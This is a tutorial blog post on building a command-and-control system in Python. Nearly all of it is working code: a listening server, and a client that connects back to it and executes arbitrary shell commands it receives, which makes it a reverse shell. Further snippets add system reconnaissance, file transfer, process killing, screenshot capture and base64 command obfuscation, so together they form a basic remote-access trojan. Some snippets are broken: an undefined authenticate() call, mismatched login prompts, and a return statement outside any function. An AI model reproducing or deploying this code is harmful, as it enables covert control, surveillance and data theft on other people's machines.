Command and Control With Python

Command and Control (C2) systems are essential tools in network security and management, allowing administrators to remotely control and monitor multiple systems. This article will guide you through creating a basic C2 server and client using Python, demonstrating various use cases and implementation details.

⚠️
This article is for educational purposes only. Unauthorized access to computer systems is illegal and unethical. Always obtain proper authorization before accessing any system or network.

Setting Up the C2 Server

Let’s start by creating a simple C2 server using Python’s socket library:

server.py
import socket
import threading

def handle_client(client_socket):
    while True:
        cmd = input("Enter command: ")
        client_socket.send(cmd.encode())
        if cmd.lower() == "exit":
            break
        response = client_socket.recv(1024).decode()
        print(f"Response: {response}")
    client_socket.close()

def start_server(host, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"[*] Listening on {host}:{port}")

    while True:
        client, addr = server.accept()
        print(f"[*] Accepted connection from {addr[0]}:{addr[1]}")
        client_handler = threading.Thread(target=handle_client, args=(client,))
        client_handler.start()

if __name__ == "__main__":
    start_server("0.0.0.0", 9999)

This server listens for incoming connections and spawns a new thread for each client, allowing multiple simultaneous connections.

Creating the C2 Client

Now, let’s create a client that connects to our C2 server:

client.py
import socket
import subprocess

def connect_to_server(host, port):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, port))

    while True:
        command = client.recv(1024).decode()
        if command.lower() == "exit":
            break
        output = subprocess.getoutput(command)
        client.send(output.encode())

    client.close()

if __name__ == "__main__":
    connect_to_server("127.0.0.1", 9999)

This client connects to the server and waits for commands, executing them using subprocess.getoutput() and sending the results back to the server.

Use Cases and Examples

1. Remote System Information Gathering

You can use the C2 system to gather information about remote systems. Here’s an extended example:

client_extended.py
import platform
import psutil
import socket

def get_system_info():
    return f"""
    OS: {platform.system()} {platform.release()}
    Architecture: {platform.machine()}
    Processor: {platform.processor()}
    Hostname: {platform.node()}
    Python Version: {platform.python_version()}
    CPU Cores: {psutil.cpu_count()}
    Total RAM: {psutil.virtual_memory().total / (1024 ** 3):.2f} GB
    IP Address: {socket.gethostbyname(socket.gethostname())}
    """

# Add this to the main loop
if command.lower() == "systeminfo":
    output = get_system_info()
    client.send(output.encode())

2. File Transfer with Progress

Let’s implement file transfer capabilities with progress reporting:

server_file_transfer.py
import os

def send_file(client_socket, filename):
    filesize = os.path.getsize(filename)
    client_socket.send(f"{filename}|{filesize}".encode())

    with open(filename, "rb") as f:
        bytes_sent = 0
        while bytes_sent < filesize:
            chunk = f.read(1024)
            client_socket.send(chunk)
            bytes_sent += len(chunk)
            print(f"\rProgress: {bytes_sent/filesize*100:.2f}%", end="")
    print("\nFile sent successfully")

# Add this to the handle_client function
if cmd.startswith("sendfile"):
    _, filename = cmd.split()
    send_file(client_socket, filename)
client_file_transfer.py
import os

def receive_file(client):
    file_info = client.recv(1024).decode()
    filename, filesize = file_info.split("|")
    filesize = int(filesize)

    with open(filename, "wb") as f:
        bytes_received = 0
        while bytes_received < filesize:
            chunk = client.recv(min(1024, filesize - bytes_received))
            if not chunk:
                break
            f.write(chunk)
            bytes_received += len(chunk)
            print(f"\rProgress: {bytes_received/filesize*100:.2f}%", end="")
    print("\nFile received successfully")
    client.send(b"File received successfully")

# Add this to the main loop
if command.startswith("sendfile"):
    receive_file(client)

3. Remote Process Management

Let’s add functionality to list and manage processes on the client machine:

client_process_management.py
import psutil

def list_processes():
    processes = []
    for proc in psutil.process_iter(['pid', 'name', 'status']):
        processes.append(f"{proc.info['pid']}: {proc.info['name']} ({proc.info['status']})")
    return "\n".join(processes)

def kill_process(pid):
    try:
        proc = psutil.Process(int(pid))
        proc.terminate()
        return f"Process {pid} terminated successfully"
    except psutil.NoSuchProcess:
        return f"No process found with PID {pid}"
    except psutil.AccessDenied:
        return f"Access denied to terminate process {pid}"

# Add these to the main loop
if command.lower() == "listprocesses":
    output = list_processes()
    client.send(output.encode())
elif command.lower().startswith("killprocess"):
    _, pid = command.split()
    output = kill_process(pid)
    client.send(output.encode())

4. Remote Screenshot Capture

Let’s add functionality to capture and send screenshots from the client:

client_screenshot.py
import pyautogui
import io

def capture_screenshot():
    screenshot = pyautogui.screenshot()
    img_bytes = io.BytesIO()
    screenshot.save(img_bytes, format='PNG')
    return img_bytes.getvalue()

# Add this to the main loop
if command.lower() == "screenshot":
    screenshot_data = capture_screenshot()
    client.send(len(screenshot_data).to_bytes(4, byteorder='big'))
    client.send(screenshot_data)
server_screenshot.py
def receive_screenshot(client_socket):
    size = int.from_bytes(client_socket.recv(4), byteorder='big')
    screenshot_data = b""
    while len(screenshot_data) < size:
        chunk = client_socket.recv(min(1024, size - len(screenshot_data)))
        screenshot_data += chunk

    with open("screenshot.png", "wb") as f:
        f.write(screenshot_data)
    print("Screenshot received and saved as screenshot.png")

# Add this to the handle_client function
if cmd.lower() == "screenshot":
    receive_screenshot(client_socket)

Enhancing Security

To improve the security of your C2 system, consider implementing the following:

  1. Encryption using SSL/TLS:
secure_server.py
import ssl

def create_secure_server(host, port, certfile, keyfile):
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.load_cert_chain(certfile=certfile, keyfile=keyfile)

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)

    return context.wrap_socket(server, server_side=True)

# Use this function to create the server socket
secure_server = create_secure_server("0.0.0.0", 9999, "server.crt", "server.key")
secure_client.py
import ssl

def create_secure_client(host, port, ca_cert):
    context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
    context.load_verify_locations(ca_cert)

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    secure_client = context.wrap_socket(client, server_hostname=host)
    secure_client.connect((host, port))

    return secure_client

# Use this function to create the client socket
secure_client = create_secure_client("example.com", 9999, "server.crt")
  1. Authentication using JWT (JSON Web Tokens):
auth_server.py
import jwt
import datetime

SECRET_KEY = "your-secret-key"

def generate_token(username):
    payload = {
        "username": username,
        "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)
    }
    return jwt.encode(payload, SECRET_KEY, algorithm="HS256")

def verify_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload["username"]
    except jwt.ExpiredSignatureError:
        return None
    except jwt.InvalidTokenError:
        return None

# Add this to the handle_client function
client_socket.send(b"Username: ")
username = client_socket.recv(1024).decode().strip()
client_socket.send(b"Password: ")
password = client_socket.recv(1024).decode().strip()

if authenticate(username, password):
    token = generate_token(username)
    client_socket.send(token.encode())
else:
    client_socket.send(b"Authentication failed")
    client_socket.close()
    return
auth_client.py
# Add this to the beginning of the connect_to_server function
username = input("Username: ")
password = input("Password: ")
client.send(username.encode())
client.recv(1024)  # Receive "Password: " prompt
client.send(password.encode())

token = client.recv(1024).decode()
if token == "Authentication failed":
    print("Authentication failed")
    client.close()
    return

# Use this token for subsequent requests
  1. Command Obfuscation using Base64 encoding:
obfuscation.py
import base64

def encode_command(command):
    return base64.b64encode(command.encode()).decode()

def decode_command(encoded_command):
    return base64.b64decode(encoded_command).decode()

# Server: Use encode_command before sending
client_socket.send(encode_command(cmd).encode())

# Client: Use decode_command after receiving
command = decode_command(client.recv(1024).decode())

C2 Architecture with Load Balancer

Here’s a high-level overview of a more advanced C2 architecture with a load balancer:

graph TD
    LB[Load Balancer] -->|Distributes Connections| S1[C2 Server 1]
    LB -->|Distributes Connections| S2[C2 Server 2]
    LB -->|Distributes Connections| S3[C2 Server 3]
    S1 -->|Commands| C1(Client 1)
    S1 -->|Commands| C2(Client 2)
    S2 -->|Commands| C3(Client 3)
    S2 -->|Commands| C4(Client 4)
    S3 -->|Commands| C5(Client 5)
    S3 -->|Commands| C6(Client 6)
    C1 -->|Responses| S1
    C2 -->|Responses| S1
    C3 -->|Responses| S2
    C4 -->|Responses| S2
    C5 -->|Responses| S3
    C6 -->|Responses| S3
    A[Administrator] -->|Interacts| LB

Mathematical Model of C2 Network Resilience

Let’s consider a mathematical model for the resilience of a C2 network. We can use graph theory to analyze the network’s connectivity and robustness.

Let $G = (V, E)$ be the graph representing our C2 network, where $V$ is the set of nodes (servers and clients) and $E$ is the set of edges (connections).

The algebraic connectivity of the graph, denoted by $\lambda_2(G)$, is the second-smallest eigenvalue of the Laplacian matrix of $G$. This value is a measure of how well-connected the graph is.

For a C2 network, we want to maximize $\lambda_2(G)$ to ensure high connectivity and resilience against node or edge failures.

The Laplacian matrix $L$ of $G$ is defined as:

$$ L = D - A $$

Where $D$ is the degree matrix and $A$ is the adjacency matrix of $G$.

To calculate $\lambda_2(G)$, we need to solve the eigenvalue equation:

$$ Lv = \lambda v $$

Where $\lambda$ are the eigenvalues and $v$ are the corresponding eigenvectors.

The algebraic connectivity $\lambda_2(G)$ is then the second-smallest eigenvalue of $L$.

A higher value of $\lambda_2(G)$ indicates a more resilient network structure, which is desirable for a robust C2 system.

Conclusion

This article has demonstrated how to create a basic Command and Control system using Python, along with several advanced use cases and security enhancements. We’ve covered remote system information gathering, file transfer with progress reporting, process management, screenshot capture, and various security measures including encryption, authentication, and obfuscation.

Remember to use such systems responsibly and only on networks and systems you have explicit permission to access. The techniques and concepts presented here can be further expanded to create more sophisticated C2 systems, but always prioritize security and ethical considerations in your implementations.

For further reading, consider exploring more advanced C2 frameworks, studying network security best practices, and learning about defensive techniques against malicious C2 systems. Additionally, delve into graph theory and network analysis to better understand and optimize the resilience of your C2 network structure.